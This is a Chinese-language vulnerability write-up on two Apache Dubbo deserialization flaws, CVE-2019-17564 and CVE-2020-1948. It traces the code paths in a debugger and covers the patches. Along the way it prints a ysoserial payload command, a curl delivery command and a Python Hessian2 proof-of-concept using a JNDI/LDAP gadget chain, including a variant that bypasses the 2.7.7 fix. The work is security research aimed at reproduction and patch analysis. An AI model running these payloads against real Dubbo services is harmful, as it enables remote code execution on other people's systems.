0
点赞
收藏
分享

微信扫一扫

Apache Dubbo反序列化漏洞复现分析

墨香子儿 2022-03-12 阅读 91

前言

学习下Apache Dubbo系列的经典漏洞

CVE-2019-17564

0x01 影响版本

  • Dubbo 2.7.0 to 2.7.4

  • Dubbo 2.6.0 to 2.6.7

  • Dubbo all 2.5.x versions

0x02 环境准备

https://github.com/apache/dubbo-samples/tree/master/dubbo-samples-http下载源代码,在pom中切换dubbo版本,发现无法找到存在该漏洞的版本,手动下载jar包添加,并添加可利用依赖common-collections3.2

图片

0x03 漏洞分析

在dubbo开启http协议后通过http协议的请求都会经过

org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle方法,所以在此处打断点

利用ysoserial生成payload

java -jar ysoserial.jar CommonsCollections6 
"/System/Applications/Calculator.app/Contents/MacOS/Calculator">cc6

然后发送

curl http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService --data-binary @cc6

会发现断在我们的断点处,向下跟踪

图片

170行会根据我们传入的路径寻找处理器,我们看看this.skeletonMap的值

图片

key对应着请求路径,value是一个HttpInvokerServiceExporter类的实例;接着在177行使用获取到的处理器处理请求,调用的是

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest

图片

接着会将请求发送到

org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation(javax.servlet.http.HttpServletRequest)方法中

图片

该方法中将请求对象和我们发送的序列化内容传入
org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvocation(javax.servlet.http.HttpServletRequest, java.io.InputStream)方法中

图片

在该方法中首先会对我们传入的序列化内容转换成ObjectInputStream类型,然后传入org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteInvocation方法中

图片

在该方法中直接对传入的

ObjectInputStream对象进行反序列化操作,导致漏洞利用链的触发

图片

0x04 漏洞修复

将dubbo切换到高版本进行调试,发现在org.apache.dubbo.rpc.protocol.http.HttpProtocol.InternalHandler#handle中将请求处理器HttpInvokerServiceExporter换为了JsonRpcServer,在后续的处理中,没有进行反序列化操作

图片

CVE-2020-1948

0x01 影响版本

  • Dubbo 2.7.0 to 2.7.6

  • Dubbo 2.6.0 to 2.6.7

  • Dubbo all 2.5.x versions

0x02 漏洞分析

参考https://www.cnblogs.com/zhengjim/p/13204194.html 中的环境搭建部分进行测试,参考网上的利用脚本

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8001",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='xxx',
service_version="",
method_name='yyy',
args=[toStringBean])
print(resp)

由于最后是利用rome组件的链条完成利用,所以直接在rome调用链中的

com.rometools.rome.feed.impl.ToStringBean#toString()处下断点,发送poc,断点断下后向上查看调用栈,可以看到是由

org.apache.dubbo.rpc.RpcInvocation#toString方法进入到ToStringBean的,其中的arguments包含着ToStringBean的实例

图片

接着向上寻找会发现

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker方法中的代码引发了后面的利用过程,关键点在一处异常处理中

//关键代码
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
} else {
return exporter.getInvoker();
}

其中inv是一个DecodeableRpcInvocation 类的实例里面存储着上文提到的arguments

图片

在处理异常的过程中,会隐式调用toString方法,进而触发后面的利用链;那么我们来分析下何时会抛出异常

图片

当exporter是null的时候,会进行异常处理,也就是在this.exporterMap中找不到键值为servicekey的值,其中servicekey是用户请求的servicename,

this.exporterMap是provider定义的service,

也就是说当用户请求的service在provider中找不到时,会触发该漏洞

0x03 补丁分析及绕过

将dubbo版本切换到2.7.7,然后发送payload

图片

提示Service not found:,搜索下异常

图片

图片

可以看到在抛出异常之前有一个判断,跟进去if中的两个方法

图片
图片

当请求的方法名是 i n v o k e , invoke, invokeinvokeAsync,$echo其中之一时,不会抛出异常,那么我们可以修改payload如下

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('127.0.0.1', 20880)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8001",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='xxx',
service_version="",
method_name='$invoke',
args=[toStringBean])
print(resp)

https://github.com/HyCXSS/JNDIScan 项目检测下jndi注入请求

图片

可以看到成功收到了provider的ldap请求

0x04 补丁修复

将版本切换到2.7.8,可以看到对调用方法的参数类型做了校验

图片
图片

我们传入的参数类型是

Lcom/rometools/rome/feed/impl/ToStringBean; 自然是不符合的,也就会抛出异常

参考链接

https://gv7.me/articles/2020/cve-2019-17564-dubbo-http-deserialization-vulnerability/
https://l3yx.github.io/2020/08/25/Apache-Dubbo-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E7%AC%94%E8%AE%B0/
https://www.cnblogs.com/zhengjim/p/13204194.html
http://rui0.cn/archives/1338

声明

以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

举报

相关推荐

0 条评论